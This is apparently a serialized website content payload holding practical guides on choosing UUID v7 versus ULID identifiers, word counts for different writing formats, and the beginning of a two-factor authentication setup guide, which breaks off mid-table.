var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":255861},[255862,255863,255864,255865,255866,255867,255868,255869,255870,255871],{"id":255392,"depth":337,"text":255393},{"id":255411,"depth":337,"text":255412},{"id":255448,"depth":337,"text":255449},{"id":255516,"depth":337,"text":255517},{"id":255573,"depth":337,"text":255574},{"id":255630,"depth":337,"text":255631},{"id":255673,"depth":337,"text":255674},{"id":255804,"depth":337,"text":255805},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand different UUID versions and their use cases. Learn when to use UUID v4 vs v7 and how each version generates unique identifiers.",{"immutable":363},{"title":255387,"description":255872},"guides\u002Fuuid-versions-explained","1Yc8yCKeI9pkIwPw_pAEARxPXsQWVXk_lwcWu8btl9Q",{"id":255878,"title":255879,"body":255880,"date":235803,"description":256262,"extension":361,"meta":256263,"navigation":363,"path":252702,"readingTime":1710,"seo":256264,"stem":256265,"__hash__":256266},"guides\u002Fguides\u002Fuuid-vs-ulid.md","UUID vs ULID: Which Unique Identifier to Choose",{"type":8,"value":255881,"toc":256241},[255882,255886,255894,255896,255989,255993,255999,256002,256006,256009,256028,256031,256035,256038,256088,256091,256095,256098,256102,256116,256120,256138,256142,256145,256148,256150,256154,256165,256169,256183,256185,256217,256219,256233,256235],[11,255883,255885],{"id":255884},"the-short-answer","The Short Answer",[16,255887,1388,255888,255890,255891,255893],{},[47,255889,220579],{}," if you want broad ecosystem support with sortability. Use ",[47,255892,252815],{}," if you want sortability plus a compact, URL-safe string. Both are better than UUID v4 for database-heavy applications.",[11,255895,252186],{"id":252185},[193,255897,255898,255910],{},[196,255899,255900],{},[199,255901,255902,255904,255906,255908],{},[202,255903,14482],{},[202,255905,43592],{},[202,255907,220579],{},[202,255909,252815],{},[211,255911,255912,255924,255938,255952,255964,255976],{},[199,255913,255914,255918,255920,255922],{},[216,255915,255916],{},[47,255917,142795],{},[216,255919,252833],{},[216,255921,252833],{},[216,255923,252836],{},[199,255925,255926,255930,255933,255935],{},[216,255927,255928],{},[47,255929,84410],{},[216,255931,255932],{},"Hex + hyphens",[216,255934,255932],{},[216,255936,255937],{},"Crockford's Base32",[199,255939,255940,255945,255947,255950],{},[216,255941,255942],{},[47,255943,255944],{},"Timestamp",[216,255946,22317],{},[216,255948,255949],{},"48-bit ms",[216,255951,255949],{},[199,255953,255954,255958,255960,255962],{},[216,255955,255956],{},[47,255957,170730],{},[216,255959,221062],{},[216,255961,4825],{},[216,255963,5321],{},[199,255965,255966,255970,255972,255974],{},[216,255967,255968],{},[47,255969,252240],{},[216,255971,6117],{},[216,255973,3057],{},[216,255975,3057],{},[199,255977,255978,255982,255984,255986],{},[216,255979,255980],{},[47,255981,252900],{},[216,255983,159625],{},[216,255985,159625],{},[216,255987,255988],{},"Yes (no hyphens)",[33,255990,255992],{"id":255991},"visual-comparison","Visual Comparison",[135,255994,255997],{"className":255995,"code":255996,"language":140},[138],"UUID v4:  f47ac10b-58cc-4372-a567-0e02b2c3d479   (random)\nUUID v7:  0190a6a8-7b1c-7d3e-8f2a-5c9b1d3e4f5a   (time-prefixed)\nULID:     01ARZ3NDEKTSV4RRFFQ69G5FAV              (time-prefixed, compact)\n",[143,255998,255996],{"__ignoreMap":141},[16,256000,256001],{},"Notice how v7 and ULID share the same timestamp prefix — both encode the generation time at the start of the identifier.",[11,256003,256005],{"id":256004},"sortability-the-real-difference","Sortability: The Real Difference",[16,256007,256008],{},"UUID v4 generates identifiers in random order. When inserted into a B-tree index, each new row lands in a random leaf node, causing:",[41,256010,256011,256016,256022],{},[44,256012,256013,256015],{},[47,256014,220443],{},": Database constantly reorganizes index pages",[44,256017,256018,256021],{},[47,256019,256020],{},"Cache misses",": Random page access defeats the buffer pool",[44,256023,256024,256027],{},[47,256025,256026],{},"Write amplification",": Fragmented inserts trigger more I\u002FO",[16,256029,256030],{},"UUID v7 and ULID solve this by prefixing a timestamp. New rows append to the right edge of the index, just like auto-increment IDs.",[33,256032,256034],{"id":256033},"benchmark-impact","Benchmark Impact",[16,256036,256037],{},"In PostgreSQL with 10M rows:",[193,256039,256040,256051],{},[196,256041,256042],{},[199,256043,256044,256046,256048],{},[202,256045,15609],{},[202,256047,43592],{},[202,256049,256050],{},"UUID v7 \u002F ULID",[211,256052,256053,256065,256076],{},[199,256054,256055,256059,256062],{},[216,256056,256057],{},[47,256058,220499],{},[216,256060,256061],{},"~35K rows\u002Fsec",[216,256063,256064],{},"~55K rows\u002Fsec",[199,256066,256067,256071,256074],{},[216,256068,256069],{},[47,256070,220488],{},[216,256072,256073],{},"~1.4× larger",[216,256075,220913],{},[199,256077,256078,256083,256086],{},[216,256079,256080],{},[47,256081,256082],{},"Table size",[216,256084,256085],{},"Similar",[216,256087,256085],{},[16,256089,256090],{},"The exact numbers vary by hardware and configuration, but the pattern is consistent: time-ordered identifiers significantly outperform random ones at scale.",[11,256092,256094],{"id":256093},"uuid-v7-vs-ulid-which-one","UUID v7 vs ULID: Which One?",[16,256096,256097],{},"Since both are time-ordered, the decision comes down to practical differences.",[33,256099,256101],{"id":256100},"choose-uuid-v7-when","Choose UUID v7 When",[41,256103,256104,256107,256110,256113],{},[44,256105,256106],{},"Your database has native UUID type support (PostgreSQL, Cassandra)",[44,256108,256109],{},"You want RFC-standardized identifiers",[44,256111,256112],{},"You rely on existing UUID parsing libraries",[44,256114,256115],{},"You store identifiers as 128-bit binary (16 bytes) rather than text",[33,256117,256119],{"id":256118},"choose-ulid-when","Choose ULID When",[41,256121,256122,256125,256128,256135],{},[44,256123,256124],{},"You want the most compact text representation (26 vs 36 characters)",[44,256126,256127],{},"Identifiers appear in URLs, logs, or user-facing strings",[44,256129,256130,256131,9423,256133,1525],{},"You need case-insensitive comparison (Crockford's Base32 avoids ambiguous characters like ",[143,256132,5285],{},[143,256134,22668],{},[44,256136,256137],{},"You want monotonic generation within the same millisecond",[33,256139,256141],{"id":256140},"monotonicity","Monotonicity",[16,256143,256144],{},"ULID's spec defines monotonic generation: within the same millisecond, each new ULID increments the random portion instead of regenerating it. This guarantees strict ordering even for sub-millisecond inserts.",[16,256146,256147],{},"UUID v7's spec allows monotonic generation but does not mandate it. Implementations vary — check your library.",[11,256149,37675],{"id":37674},[33,256151,256153],{"id":256152},"from-uuid-v4-to-uuid-v7","From UUID v4 to UUID v7",[41,256155,256156,256159,256162],{},[44,256157,256158],{},"Drop-in replacement in most systems — same 128-bit width, same text format",[44,256160,256161],{},"Existing v4 IDs remain valid; no data migration needed",[44,256163,256164],{},"Mixed v4\u002Fv7 columns still work; new rows simply benefit from sortability",[33,256166,256168],{"id":256167},"from-uuid-to-ulid","From UUID to ULID",[41,256170,256171,256174,256177,256180],{},[44,256172,256173],{},"Column type may need to change (UUID → text or binary)",[44,256175,256176],{},"String length changes (36 → 26), affecting foreign keys and indexes",[44,256178,256179],{},"Existing UUID data must be migrated or stored alongside new ULIDs",[44,256181,256182],{},"Higher migration cost — plan accordingly",[11,256184,220633],{"id":220632},[77,256186,256187,256193,256199,256205,256211],{},[44,256188,256189,256192],{},[47,256190,256191],{},"New project, PostgreSQL",": Use UUID v7 — native type support keeps storage at 16 bytes",[44,256194,256195,256198],{},[47,256196,256197],{},"New project, MySQL\u002FSQLite",": Use ULID — text encoding avoids binary column complexity",[44,256200,256201,256204],{},[47,256202,256203],{},"Existing project with UUID v4",": Switch new inserts to UUID v7 — zero migration cost",[44,256206,256207,256210],{},[47,256208,256209],{},"High-throughput logging",": Use ULID — compact strings reduce I\u002FO and storage",[44,256212,256213,256216],{},[47,256214,256215],{},"Client-generated IDs",": Either works; ULID's shorter string is easier to pass in URLs",[11,256218,321],{"id":320},[41,256220,256221,256225,256229],{},[44,256222,256223],{},[98,256224,252990],{"href":252655},[44,256226,256227],{},[98,256228,255840],{"href":253024},[44,256230,256231],{},[98,256232,238665],{"href":237542},[11,256234,286],{"id":285},[16,256236,256237,256238,256240],{},"Generate and compare UUID v4, v7, and ULID formats instantly with our free ",[98,256239,170971],{"href":170970},". See sortability in action — paste a batch of v4 vs v7 IDs and watch the ordering difference.",{"title":141,"searchDepth":337,"depth":337,"links":256242},[256243,256244,256247,256250,256255,256259,256260,256261],{"id":255884,"depth":337,"text":255885},{"id":252185,"depth":337,"text":252186,"children":256245},[256246],{"id":255991,"depth":343,"text":255992},{"id":256004,"depth":337,"text":256005,"children":256248},[256249],{"id":256033,"depth":343,"text":256034},{"id":256093,"depth":337,"text":256094,"children":256251},[256252,256253,256254],{"id":256100,"depth":343,"text":256101},{"id":256118,"depth":343,"text":256119},{"id":256140,"depth":343,"text":256141},{"id":37674,"depth":337,"text":37675,"children":256256},[256257,256258],{"id":256152,"depth":343,"text":256153},{"id":256167,"depth":343,"text":256168},{"id":220632,"depth":337,"text":220633},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Compare UUID and ULID identifiers. Learn about sortability, database performance, and when ULID is the better choice.",{"immutable":363},{"title":255879,"description":256262},"guides\u002Fuuid-vs-ulid","wrSdPEj95kU_6bCgiCnJa7vMymn_NZa2FBaqVm5FPyc",{"id":256268,"title":256269,"body":256270,"date":235803,"description":256629,"extension":361,"meta":256630,"navigation":363,"path":24476,"readingTime":1710,"seo":256631,"stem":256632,"__hash__":256633},"guides\u002Fguides\u002Fword-count-writing-tips.md","Word Count Tips for Better Writing",{"type":8,"value":256271,"toc":256614},[256272,256274,256277,256280,256282,256285,256372,256374,256381,256384,256401,256405,256408,256425,256429,256436,256439,256461,256465,256468,256485,256488,256492,256495,256521,256525,256528,256559,256563,256566,256585,256587,256603,256605,256608],[11,256273,224361],{"id":224360},[16,256275,256276],{},"Word count is more than a number — it shapes how readers engage with your content. Too short, and you leave questions unanswered. Too long, and you lose attention. Hitting the right length signals professionalism and respect for your reader's time.",[16,256278,256279],{},"Word count also directly impacts SEO. Search engines reward content that thoroughly covers a topic, but penalize thin or padded pages. Understanding the ideal length for each format helps you write with purpose.",[11,256281,224371],{"id":224370},[16,256283,256284],{},"Different writing formats have different sweet spots. Here's a breakdown:",[193,256286,256287,256297],{},[196,256288,256289],{},[199,256290,256291,256293,256295],{},[202,256292,13018],{},[202,256294,224385],{},[202,256296,21086],{},[211,256298,256299,256308,256317,256327,256337,256347,256356,256364],{},[199,256300,256301,256303,256305],{},[216,256302,224394],{},[216,256304,224397],{},[216,256306,256307],{},"Long enough to rank, short enough to hold attention",[199,256309,256310,256312,256314],{},[216,256311,224405],{},[216,256313,224408],{},[216,256315,256316],{},"Covers complex topics comprehensively",[199,256318,256319,256322,256324],{},[216,256320,256321],{},"Academic essay",[216,256323,2801],{},[216,256325,256326],{},"Meets institutional requirements, supports arguments",[199,256328,256329,256331,256334],{},[216,256330,224416],{},[216,256332,256333],{},"50–280 (platform-dependent)",[216,256335,256336],{},"Fits feed constraints, maximizes engagement",[199,256338,256339,256342,256344],{},[216,256340,256341],{},"Email (professional)",[216,256343,224430],{},[216,256345,256346],{},"Gets the point across fast",[199,256348,256349,256351,256353],{},[216,256350,224448],{},[216,256352,31805],{},[216,256354,256355],{},"Standard PR format, easy for journalists to scan",[199,256357,256358,256360,256362],{},[216,256359,224458],{},[216,256361,224461],{},[216,256363,224464],{},[199,256365,256366,256368,256370],{},[216,256367,12096],{},[216,256369,224440],{},[216,256371,224443],{},[33,256373,224489],{"id":224488},[16,256375,256376,256377,256380],{},"Studies show that blog posts between ",[47,256378,256379],{},"1,500 and 2,500 words"," tend to rank highest on Google. Shorter posts often lack depth, while longer posts risk losing readers before the call to action.",[16,256382,256383],{},"Key tips for blog word count:",[41,256385,256386,256391,256396],{},[44,256387,256388,256390],{},[47,256389,224502],{}," — Put the core insight in the first 200 words",[44,256392,256393,224509],{},[47,256394,256395],{},"Use headers",[44,256397,256398,256400],{},[47,256399,224514],{}," — Remove phrases like \"it goes without saying\" (if it goes without saying, don't say it)",[33,256402,256404],{"id":256403},"social-media-less-is-more","Social Media: Less Is More",[16,256406,256407],{},"Every platform has its own limits and engagement patterns:",[41,256409,256410,256415,256420],{},[44,256411,256412,256414],{},[47,256413,23900],{},": 280 characters max. Aim for 70–100 characters for maximum retweets",[44,256416,256417,256419],{},[47,256418,23941],{},": 1,300 characters for posts, but 150–300 keeps readers engaged",[44,256421,256422,256424],{},[47,256423,23920],{},": 125 characters visible before \"more\" — put the hook first",[33,256426,256428],{"id":256427},"emails-respect-the-inbox","Emails: Respect the Inbox",[16,256430,256431,256432,256435],{},"Professional emails should be concise. Research shows the average office worker receives ",[47,256433,256434],{},"121 emails per day",". Keep yours under 200 words to increase the chance it gets read and answered.",[16,256437,256438],{},"Structure helps:",[77,256440,256441,256446,256451,256456],{},[44,256442,256443,256445],{},[47,256444,224570],{},": 6–10 words for best open rates",[44,256447,256448,256450],{},[47,256449,224576],{},": State the purpose immediately",[44,256452,256453,256455],{},[47,256454,224582],{},": 2–3 short paragraphs max",[44,256457,256458,256460],{},[47,256459,31248],{},": One clear request",[11,256462,256464],{"id":256463},"word-count-and-seo-what-you-need-to-know","Word Count and SEO: What You Need to Know",[16,256466,256467],{},"Search engines evaluate content length as a quality signal:",[41,256469,256470,256475,256480],{},[44,256471,256472,256474],{},[47,256473,224609],{}," (under 300 words) rarely ranks well for competitive keywords",[44,256476,256477,256479],{},[47,256478,224615],{}," (800–1,500 words) works for niche topics and long-tail keywords",[44,256481,256482,256484],{},[47,256483,224621],{}," (1,500–3,000+ words) dominates for competitive head terms",[16,256486,256487],{},"But length alone doesn't win rankings. A deep 1,200-word post that fully answers a question will outrank a padded 2,500-word article that dances around the topic.",[33,256489,256491],{"id":256490},"quality-over-quantity","Quality Over Quantity",[16,256493,256494],{},"Focus on these principles instead of chasing word counts:",[41,256496,256497,256503,256509,256515],{},[44,256498,256499,256502],{},[47,256500,256501],{},"Answer the search intent"," completely",[44,256504,256505,256508],{},[47,256506,256507],{},"Remove repetition"," — Say it once, say it well",[44,256510,256511,256514],{},[47,256512,256513],{},"Add unique value"," — Original data, examples, or perspectives",[44,256516,256517,256520],{},[47,256518,256519],{},"Keep paragraphs short"," — 3–4 sentences max for readability",[11,256522,256524],{"id":256523},"tips-for-concise-writing","Tips for Concise Writing",[16,256526,256527],{},"Reducing word count without losing meaning is a skill. Practice these techniques:",[41,256529,256530,256536,256542,256547,256553],{},[44,256531,256532,256535],{},[47,256533,256534],{},"Replace phrases with single words",": \"in order to\" → \"to\", \"due to the fact that\" → \"because\"",[44,256537,256538,256541],{},[47,256539,256540],{},"Cut adverbs",": \"very important\" → \"critical\", \"completely eliminate\" → \"eliminate\"",[44,256543,256544,256546],{},[47,256545,183902],{},": \"The report was written by the team\" → \"The team wrote the report\"",[44,256548,256549,256552],{},[47,256550,256551],{},"Merge sentences",": If two sentences share a subject, combine them",[44,256554,256555,256558],{},[47,256556,256557],{},"Read aloud",": If you stumble, the sentence is too long",[11,256560,256562],{"id":256561},"word-count-for-different-audiences","Word Count for Different Audiences",[16,256564,256565],{},"Your audience determines ideal length just as much as the format:",[41,256567,256568,256574,256579],{},[44,256569,256570,256573],{},[47,256571,256572],{},"Technical readers"," prefer thorough explanations — they'll read 3,000+ words if the content is valuable",[44,256575,256576,256578],{},[47,256577,224663],{}," scan more — keep posts under 2,000 words with frequent headers",[44,256580,256581,256584],{},[47,256582,256583],{},"Mobile readers"," need even shorter paragraphs and punchier openings",[11,256586,321],{"id":320},[41,256588,256589,256593,256597],{},[44,256590,256591],{},[98,256592,224799],{"href":224798},[44,256594,256595],{},[98,256596,24471],{"href":24470},[44,256598,256599],{},[98,256600,256602],{"href":256601},"\u002Fguides\u002Florem-ipsum-explained","Lorem Ipsum Explained",[11,256604,286],{"id":285},[16,256606,256607],{},"Want to check your word count instantly? Use our free online tool to count words, characters, sentences, and paragraphs — no signup required.",[16,256609,4531,256610],{},[98,256611,256612],{"href":3236},[47,256613,250420],{},{"title":141,"searchDepth":337,"depth":337,"links":256615},[256616,256617,256622,256625,256626,256627,256628],{"id":224360,"depth":337,"text":224361},{"id":224370,"depth":337,"text":224371,"children":256618},[256619,256620,256621],{"id":224488,"depth":343,"text":224489},{"id":256403,"depth":343,"text":256404},{"id":256427,"depth":343,"text":256428},{"id":256463,"depth":337,"text":256464,"children":256623},[256624],{"id":256490,"depth":343,"text":256491},{"id":256523,"depth":337,"text":256524},{"id":256561,"depth":337,"text":256562},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Master word counts for different writing formats. Learn ideal lengths for blog posts, essays, social media, and more.",{"immutable":363},{"title":256269,"description":256629},"guides\u002Fword-count-writing-tips","s196tW0HNlxEZe0J_rh5u-9o0XvxJj0fl3142qAbhvU",{"id":256635,"title":256636,"body":256637,"date":257855,"description":257856,"extension":361,"meta":257857,"navigation":363,"path":243572,"readingTime":2507,"seo":257858,"stem":257859,"__hash__":257860},"guides\u002Fguides\u002F2fa-setup-guide.md","Two-Factor Authentication: Complete Setup Guide",{"type":8,"value":256638,"toc":257808},[256639,256642,256645,256648,256652,256659,256714,256718,256724,256728,256731,256762,256765,256769,256772,256776,256781,256787,256791,256802,256806,256817,256822,256826,256831,256836,256840,256851,256855,256866,256871,256875,256880,256885,256889,256900,256904,256915,256920,256924,256929,256933,256944,256948,256959,256964,256968,256973,256977,256985,256989,257000,257005,257009,257103,257107,257110,257114,257128,257132,257135,257161,257165,257168,257174,257196,257200,257214,257218,257221,257245,257249,257252,257256,257317,257321,257353,257357,257364,257368,257371,257375,257446,257450,257487,257491,257511,257515,257521,257527,257531,257538,257542,257545,257551,257555,257587,257591,257597,257599,257603,257606,257610,257617,257621,257624,257635,257639,257642,257661,257665,257668,257753,257755,257758,257763,257781,257786,257797,257801],[11,256640,2776],{"id":256641},"introduction",[16,256643,256644],{},"Two-factor authentication (2FA) adds a critical second layer of security to your online accounts. Even if someone steals your password, they cannot access your account without the second factor — something you have (like your phone) or something you are (like your fingerprint).",[16,256646,256647],{},"Despite its importance, many users still don't enable 2FA. This guide explains how 2FA works, compares different methods by security level, and provides step-by-step setup instructions for the most popular 2FA apps and devices.",[11,256649,256651],{"id":256650},"how-two-factor-authentication-works","How Two-Factor Authentication Works",[16,256653,256654,256655,256658],{},"2FA is based on the principle of ",[47,256656,256657],{},"multi-factor authentication",", requiring two or more pieces of evidence (factors) to verify your identity:",[193,256660,256661,256673],{},[196,256662,256663],{},[199,256664,256665,256668,256670],{},[202,256666,256667],{},"Factor Type",[202,256669,96299],{},[202,256671,256672],{},"Something you...",[211,256674,256675,256688,256701],{},[199,256676,256677,256682,256685],{},[216,256678,256679],{},[47,256680,256681],{},"Knowledge",[216,256683,256684],{},"Password, PIN, security question",[216,256686,256687],{},"Know",[199,256689,256690,256695,256698],{},[216,256691,256692],{},[47,256693,256694],{},"Possession",[216,256696,256697],{},"Phone, security key, smart card",[216,256699,256700],{},"Have",[199,256702,256703,256708,256711],{},[216,256704,256705],{},[47,256706,256707],{},"Inherence",[216,256709,256710],{},"Fingerprint, face, voice",[216,256712,256713],{},"Are",[33,256715,256717],{"id":256716},"the-2fa-process","The 2FA Process",[135,256719,256722],{"className":256720,"code":256721,"language":140},[138],"1. Enter username and password (factor 1: knowledge)\n   ↓\n2. Server verifies password ✓\n   ↓\n3. Prompt for second factor (factor 2: possession\u002Finherence)\n   ↓\n4. User provides 2FA code or uses security key\n   ↓\n5. Server verifies second factor ✓\n   ↓\n6. Access granted\n",[143,256723,256721],{"__ignoreMap":141},[33,256725,256727],{"id":256726},"why-passwords-alone-are-not-enough","Why Passwords Alone Are Not Enough",[16,256729,256730],{},"Passwords can be compromised through:",[41,256732,256733,256739,256745,256750,256756],{},[44,256734,256735,256738],{},[47,256736,256737],{},"Phishing attacks"," (fake login pages)",[44,256740,256741,256744],{},[47,256742,256743],{},"Data breaches"," (password databases leaked)",[44,256746,256747,256749],{},[47,256748,239746],{}," (reused passwords from other breaches)",[44,256751,256752,256755],{},[47,256753,256754],{},"Brute force attacks"," (trying millions of combinations)",[44,256757,256758,256761],{},[47,256759,256760],{},"Social engineering"," (tricking you into revealing it)",[16,256763,256764],{},"2FA stops most of these attacks because the second factor cannot be easily intercepted or guessed.",[11,256766,256768],{"id":256767},"_2fa-methods-ranked-by-security","2FA Methods Ranked by Security",[16,256770,256771],{},"Not all 2FA methods are created equal. Here's the ranking from most to least secure:",[33,256773,256775],{"id":256774},"hardware-security-keys-most-secure","⭐⭐⭐⭐⭐ Hardware Security Keys (Most Secure)",[16,256777,256778,256780],{},[47,256779,96299],{},": YubiKey, Titan Security Key, Feitian ePass",[16,256782,256783,256786],{},[47,256784,256785],{},"How it works",": Physical USB\u002FNFC device that stores cryptographic keys. When prompted, you tap the key to your device.",[16,256788,256789,8037],{},[47,256790,7444],{},[41,256792,256793,256796,256799],{},[44,256794,256795],{},"Phishing-resistant (bound to domain name)",[44,256797,256798],{},"No battery or network required",[44,256800,256801],{},"Very difficult to clone or intercept",[16,256803,256804,8037],{},[47,256805,7447],{},[41,256807,256808,256811,256814],{},[44,256809,256810],{},"Costs $25–$60 per key",[44,256812,256813],{},"Can be lost (should have backup)",[44,256815,256816],{},"Requires USB port or NFC",[16,256818,256819,256821],{},[47,256820,61666],{},": High-value accounts (email, financial, work), security professionals",[33,256823,256825],{"id":256824},"totp-apps-very-secure","⭐⭐⭐⭐ TOTP Apps (Very Secure)",[16,256827,256828,256830],{},[47,256829,96299],{},": Google Authenticator, Authy, Microsoft Authenticator, 1Password",[16,256832,256833,256835],{},[47,256834,256785],{},": App generates a 6-digit code that changes every 30 seconds. You enter the current code when logging in.",[16,256837,256838,8037],{},[47,256839,7444],{},[41,256841,256842,256845,256848],{},[44,256843,256844],{},"No network connection required (after setup)",[44,256846,256847],{},"Free and widely supported",[44,256849,256850],{},"Codes expire quickly (30-90 seconds)",[16,256852,256853,8037],{},[47,256854,7447],{},[41,256856,256857,256860,256863],{},[44,256858,256859],{},"Can be phished (if you enter code on fake site)",[44,256861,256862],{},"Phone loss means losing access (unless backed up)",[44,256864,256865],{},"Requires manual entry of code",[16,256867,256868,256870],{},[47,256869,61666],{},": Personal accounts, general use",[33,256872,256874],{"id":256873},"push-notifications-secure-but-dependent","⭐⭐⭐ Push Notifications (Secure but Dependent)",[16,256876,256877,256879],{},[47,256878,96299],{},": Duo Mobile, Okta Verify, Microsoft Authenticator (push)",[16,256881,256882,256884],{},[47,256883,256785],{},": App receives a push notification when you try to log in. You tap \"Approve\" to authenticate.",[16,256886,256887,8037],{},[47,256888,7444],{},[41,256890,256891,256894,256897],{},[44,256892,256893],{},"Very user-friendly (no codes to type)",[44,256895,256896],{},"Can see login details (location, device) before approving",[44,256898,256899],{},"Harder to phish (requires physical approval)",[16,256901,256902,8037],{},[47,256903,7447],{},[41,256905,256906,256909,256912],{},[44,256907,256908],{},"Requires internet connection",[44,256910,256911],{},"Depends on proprietary services",[44,256913,256914],{},"Can be bypassed if phone is compromised",[16,256916,256917,256919],{},[47,256918,61666],{},": Corporate environments, managed devices",[33,256921,256923],{"id":256922},"sms-text-messages-better-than-nothing","⭐⭐ SMS Text Messages (Better than Nothing)",[16,256925,256926,256928],{},[47,256927,256785],{},": Service sends a code via text message. You enter the code to log in.",[16,256930,256931,8037],{},[47,256932,7444],{},[41,256934,256935,256938,256941],{},[44,256936,256937],{},"Universal (every phone can receive SMS)",[44,256939,256940],{},"No app installation required",[44,256942,256943],{},"Familiar to users",[16,256945,256946,8037],{},[47,256947,7447],{},[41,256949,256950,256953,256956],{},[44,256951,256952],{},"Vulnerable to SIM swapping attacks",[44,256954,256955],{},"Can be intercepted via SS7 network vulnerabilities",[44,256957,256958],{},"Delayed delivery or not received at all",[16,256960,256961,256963],{},[47,256962,61666],{},": When nothing else is available, but upgrade if possible",[33,256965,256967],{"id":256966},"email-verification-least-secure","⭐ Email Verification (Least Secure)",[16,256969,256970,256972],{},[47,256971,256785],{},": Service sends a code or magic link to your email.",[16,256974,256975,8037],{},[47,256976,7444],{},[41,256978,256979,256982],{},[44,256980,256981],{},"Easy to use",[44,256983,256984],{},"No additional apps required",[16,256986,256987,8037],{},[47,256988,7447],{},[41,256990,256991,256994,256997],{},[44,256992,256993],{},"If password is compromised, email is often next target",[44,256995,256996],{},"Delayed delivery",[44,256998,256999],{},"Email accounts are frequently hacked",[16,257001,257002,257004],{},[47,257003,61666],{},": Account recovery, not primary 2FA",[11,257006,257008],{"id":257007},"security-ranking-summary","Security Ranking Summary",[193,257010,257011,257026],{},[196,257012,257013],{},[199,257014,257015,257017,257019,257022,257024],{},[202,257016,7441],{},[202,257018,22314],{},[202,257020,257021],{},"Usability",[202,257023,16397],{},[202,257025,49059],{},[211,257027,257028,257045,257060,257075,257089],{},[199,257029,257030,257033,257036,257039,257042],{},[216,257031,257032],{},"Hardware Key",[216,257034,257035],{},"⭐⭐⭐⭐⭐",[216,257037,257038],{},"⭐⭐⭐",[216,257040,257041],{},"$$",[216,257043,257044],{},"Best for high-security",[199,257046,257047,257050,257053,257055,257057],{},[216,257048,257049],{},"TOTP App",[216,257051,257052],{},"⭐⭐⭐⭐",[216,257054,257052],{},[216,257056,16450],{},[216,257058,257059],{},"Best for most users",[199,257061,257062,257065,257067,257069,257072],{},[216,257063,257064],{},"Push Notification",[216,257066,257038],{},[216,257068,257035],{},[216,257070,257071],{},"Free\u002F$$",[216,257073,257074],{},"Good for organizations",[199,257076,257077,257079,257082,257084,257086],{},[216,257078,24009],{},[216,257080,257081],{},"⭐⭐",[216,257083,257035],{},[216,257085,16450],{},[216,257087,257088],{},"Use only if no alternative",[199,257090,257091,257093,257096,257098,257100],{},[216,257092,97854],{},[216,257094,257095],{},"⭐",[216,257097,257035],{},[216,257099,16450],{},[216,257101,257102],{},"Avoid as 2FA method",[11,257104,257106],{"id":257105},"setting-up-totp-with-google-authenticator","Setting Up TOTP with Google Authenticator",[16,257108,257109],{},"Google Authenticator is the most widely supported TOTP app.",[33,257111,257113],{"id":257112},"step-1-install-the-app","Step 1: Install the App",[41,257115,257116,257122],{},[44,257117,257118,257121],{},[47,257119,257120],{},"iOS",": Download from App Store",[44,257123,257124,257127],{},[47,257125,257126],{},"Android",": Download from Google Play Store",[33,257129,257131],{"id":257130},"step-2-enable-2fa-on-your-account","Step 2: Enable 2FA on Your Account",[16,257133,257134],{},"The process is similar for most services (Google, GitHub, AWS, etc.):",[77,257136,257137,257140,257147,257155],{},[44,257138,257139],{},"Log in to your account",[44,257141,161792,257142,1531,257144],{},[47,257143,22314],{},[47,257145,257146],{},"Account Settings",[44,257148,257149,257150,1531,257152],{},"Find ",[47,257151,249667],{},[47,257153,257154],{},"2-Step Verification",[44,257156,209876,257157,257160],{},[47,257158,257159],{},"Authenticator App"," as the method",[33,257162,257164],{"id":257163},"step-3-scan-the-qr-code","Step 3: Scan the QR Code",[16,257166,257167],{},"The service will display a QR code:",[135,257169,257172],{"className":257170,"code":257171,"language":140},[138],"┌─────────────────┐\n│  ████████████   │\n│  ██ 🔒 ██ 🔒 ██ │  ← Scan this QR code\n│  ████████████   │    with Google Authenticator\n│                 │\n│  Or enter code manually: JBSWY3DPEHPK3PXP │\n└─────────────────┘\n",[143,257173,257171],{"__ignoreMap":141},[77,257175,257176,257179,257185,257190,257193],{},[44,257177,257178],{},"Open Google Authenticator",[44,257180,257181,257182,257184],{},"Tap ",[47,257183,9448],{}," (plus sign)",[44,257186,209876,257187],{},[47,257188,257189],{},"Scan QR code",[44,257191,257192],{},"Point your camera at the QR code on screen",[44,257194,257195],{},"The account will be added automatically",[33,257197,257199],{"id":257198},"step-4-verify-the-setup","Step 4: Verify the Setup",[77,257201,257202,257208,257211],{},[44,257203,257204,257205,1525],{},"The app will show a 6-digit code (e.g., ",[143,257206,257207],{},"123 456",[44,257209,257210],{},"Enter this code on the website to verify",[44,257212,257213],{},"You're done! Save the backup codes (see below)",[33,257215,257217],{"id":257216},"manual-entry-if-qr-code-doesnt-work","Manual Entry (If QR Code Doesn't Work)",[16,257219,257220],{},"If you can't scan the QR code:",[77,257222,257223,257228,257233,257236,257242],{},[44,257224,257181,257225,257227],{},[47,257226,9448],{}," in Google Authenticator",[44,257229,209876,257230],{},[47,257231,257232],{},"Enter setup key",[44,257234,257235],{},"Enter the service name (e.g., \"GitHub\")",[44,257237,257238,257239,1525],{},"Enter the secret key provided by the service (e.g., ",[143,257240,257241],{},"JBSWY3DPEHPK3PXP",[44,257243,257244],{},"Choose time-based (TOTP)",[11,257246,257248],{"id":257247},"setting-up-authy-for-backup-and-sync","Setting Up Authy for Backup and Sync",[16,257250,257251],{},"Authy offers cloud backup and multi-device sync, making it more convenient than Google Authenticator.",[33,257253,257255],{"id":257254},"why-choose-authy","Why Choose Authy?",[193,257257,257258,257270],{},[196,257259,257260],{},[199,257261,257262,257264,257267],{},[202,257263,5867],{},[202,257265,257266],{},"Google Authenticator",[202,257268,257269],{},"Authy",[211,257271,257272,257281,257290,257299,257308],{},[199,257273,257274,257277,257279],{},[216,257275,257276],{},"Cloud backup",[216,257278,36957],{},[216,257280,95806],{},[199,257282,257283,257286,257288],{},[216,257284,257285],{},"Multi-device 